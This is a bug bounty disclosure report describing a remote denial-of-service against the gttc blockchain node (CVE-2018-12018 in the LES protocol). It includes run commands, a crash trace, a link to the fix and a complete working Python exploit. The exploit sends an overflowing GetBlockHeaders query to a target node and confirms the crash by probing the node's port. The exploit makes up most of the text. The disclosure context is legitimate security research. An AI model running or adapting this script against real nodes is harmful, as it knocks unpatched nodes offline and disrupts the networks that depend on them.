TTC | TTC | Protocol

Remote DoS using malicious GetBlockHeadersMsg request in LES protocol

Creation date October 14, 2018

State: resolved
Severity: Medium ( 6.9 )
Visibility: visible
Vulnerability: DoS

An attacker can send a GetBlockHeadersMsg request in LES subprotocol with malicious parameters to attack any remote node and make it crash. This bug was found in geth right up to v1.8.10 and it was fixed in v1.8.11 by validating user input and skipping overflow in GetBlockHeadersMsg handler. As soon as gttc is using geth v1.8.9 I decided to try this vulnerability. The bug was reported and marked as CVE-2018–12018. The exploit to this CVE is attached in the description, but it doesn't work now. So I decided to write a new one for gttc.

  • Run a node with lightserv parameter
gttc --lightserv 20
  • Then run exploit script with enode of the node
python3 exploit.py --enode 'enode of your node'

And the node is down.

panic: runtime error: index out of range

goroutine 282 [running]:
github.com/TTCECO/gttc/les.(*ProtocolManager).handleMsg(0xc42081cf00, 0xc42038e300, 0x0, 0x0)
  /root/go/src/github.com/TTCECO/gttc/les/handler.go:458 +0x8cc8
github.com/TTCECO/gttc/les.(*ProtocolManager).handle(0xc42081cf00, 0xc42038e300, 0x0, 0x0)
  /root/go/src/github.com/TTCECO/gttc/les/handler.go:327 +0x727
github.com/TTCECO/gttc/les.NewProtocolManager.func1(0xc422f11da0, 0x10a7b40, 0xc423cb0700, 0x0, 0x0)
  /root/go/src/github.com/TTCECO/gttc/les/handler.go:175 +0x23b
github.com/TTCECO/gttc/p2p.(*Peer).startProtocols.func1(0xc423cb0700, 0xc422f11da0, 0x10a7b40, 0xc423cb0700)
  /root/go/src/github.com/TTCECO/gttc/p2p/peer.go:348 +0x66
created by github.com/TTCECO/gttc/p2p.(*Peer).startProtocols
  /root/go/src/github.com/TTCECO/gttc/p2p/peer.go:347 +0x201
  • Fix

You just need to validate user input and skip overflow in GetBlockHeadersMsg handler in les/handler.go https://github.com/ethereum/go-ethereum/commit/a5237a27eaf81946a3edb4fafe13ed6359d119e4

  • exploit.py
import argparse
import asyncio
import logging
import signal
import socket
import os
from typing import (
    cast,
    Type,
    Union,
)

from eth.chains.mainnet import MainnetChain, MAINNET_GENESIS_HEADER, MAINNET_VM_CONFIGURATION
from eth.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER, ROPSTEN_VM_CONFIGURATION
from eth.db.atomic import AtomicDB
from eth.tools.logging import TRACE_LEVEL_NUM

from p2p import ecies
from p2p.kademlia import Node
from eth_utils import decode_hex

from trinity.protocol.common.context import ChainContext
from trinity.protocol.eth.peer import ETHPeer, ETHPeerPool
from trinity.protocol.les.peer import LESPeer, LESPeerPool
from trinity.protocol.les.commands import GetBlockHeadersQuery, GetBlockHeaders
from tests.trinity.core.integration_test_helpers import FakeAsyncHeaderDB, connect_to_peers_loop


def main() -> None:
    logging.basicConfig(level=TRACE_LEVEL_NUM, format='%(asctime)s %(levelname)s: %(message)s')

    parser = argparse.ArgumentParser()
    parser.add_argument('--enode', type=str, help="The enode we should connect to", required=True)
    parser.add_argument('--mainnet', action='store_true')
    parser.add_argument('--light', action='store_true', help="Connect as a light node")
    args = parser.parse_args()

    peer_class: Union[Type[ETHPeer], Type[LESPeer]]
    pool_class: Union[Type[ETHPeerPool], Type[LESPeerPool]]
    ip, port = args.enode.split('@')[1].split(':')
    if args.light:
        peer_class = LESPeer
        pool_class = LESPeerPool
    else:
        peer_class = ETHPeer
        pool_class = ETHPeerPool

    if args.mainnet:
        network_id = MainnetChain.network_id
        vm_config = MAINNET_VM_CONFIGURATION
        genesis = MAINNET_GENESIS_HEADER
    else:
        network_id = RopstenChain.network_id
        vm_config = ROPSTEN_VM_CONFIGURATION
        genesis = ROPSTEN_GENESIS_HEADER

    headerdb = FakeAsyncHeaderDB(AtomicDB())
    headerdb.persist_header(genesis)
    loop = asyncio.get_event_loop()
    nodes = [Node.from_uri(args.enode)]

    context = ChainContext(
        headerdb=headerdb,
        network_id=network_id,
        vm_configuration=vm_config,
    )
    peer_pool = pool_class(
        privkey=ecies.generate_privkey(),
        context=context,
    )

    asyncio.ensure_future(peer_pool.run())
    peer_pool.run_task(connect_to_peers_loop(peer_pool, nodes))


    def port_probe(ip,port):
        try:
            TCP_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            TCP_sock.settimeout(1)
            result = TCP_sock.connect_ex((ip, int(port)))
            if result == 0:
                return True
            else:
                return False
                TCP_sock.close()
        except socket.error as e:
            return False


    async def attack() -> None:
        nonlocal peer_pool
        peer_pool.logger.info('Attacking...')
        while not peer_pool.connected_nodes:
            peer_pool.logger.info("Waiting for peer connection...")
            await asyncio.sleep(1)
        peer = peer_pool.highest_td_peer
        if peer_class == ETHPeer:
            block_hash = '0xd4e56740f876aef8c010b86a40d5f56745a118d0906a34e69aec8c0db1cb8fa3'
            headers = await cast(ETHPeer, peer).requests.get_block_headers(peer.sub_proto.cmd_id_offset, max_headers=100)
            hashes = tuple(header.hash for header in headers)
            peer = cast(ETHPeer, peer)
        else:
            block_hash = '0x41941023680923e0fe4d74a34bdac8141f2540e3ae90623718e47d66d1ca4a2d'
            headers = await cast(ETHPeer, peer).requests.get_block_headers(peer.sub_proto.cmd_id_offset, max_headers=100)
            peer_pool.logger.debug(headers)
            hashes = tuple(header.hash for header in headers)
            peer = cast(LESPeer, peer)
            request_id = 1
        cmd = GetBlockHeaders(peer.sub_proto.cmd_id_offset)
        data = {
            'request_id': 1,
            'query': GetBlockHeadersQuery(decode_hex(block_hash), 1, 0xffffffffffffffff, False),
        }
        peer_pool.logger.debug(data)
        header, body = cmd.encode(data)
        peer.sub_proto.send(header, body)
        await asyncio.sleep(1)
        result = port_probe(ip, port)
        if not result:
            peer_pool.logger.info('The port is closed, attack success ...')
            os.kill(os.getpid(), signal.SIGINT)


    sigint_received = asyncio.Event()
    for sig in [signal.SIGINT, signal.SIGTERM]:
        loop.add_signal_handler(sig, sigint_received.set)

    async def exit_on_sigint() -> None:
        await sigint_received.wait()
        await peer_pool.cancel()
        loop.stop()

    asyncio.ensure_future(exit_on_sigint())
    asyncio.ensure_future(attack())
    loop.run_forever()
    loop.close()


if __name__ == "__main__":
    main()

Comments

16 Oct 07:35

@superadmin posted a comment

Hello @k3v142, thank you for reporting this to us.

The severity has been changed to Medium. It only makes node crash when the node is started by --lightserv, and in TTC network, they do not do that in any node, but this report is great helpful to remind TTC to merge bugfix patch from go-ethereum. Thanks!

Keep up the good work and we look forward to more reports from you in the future!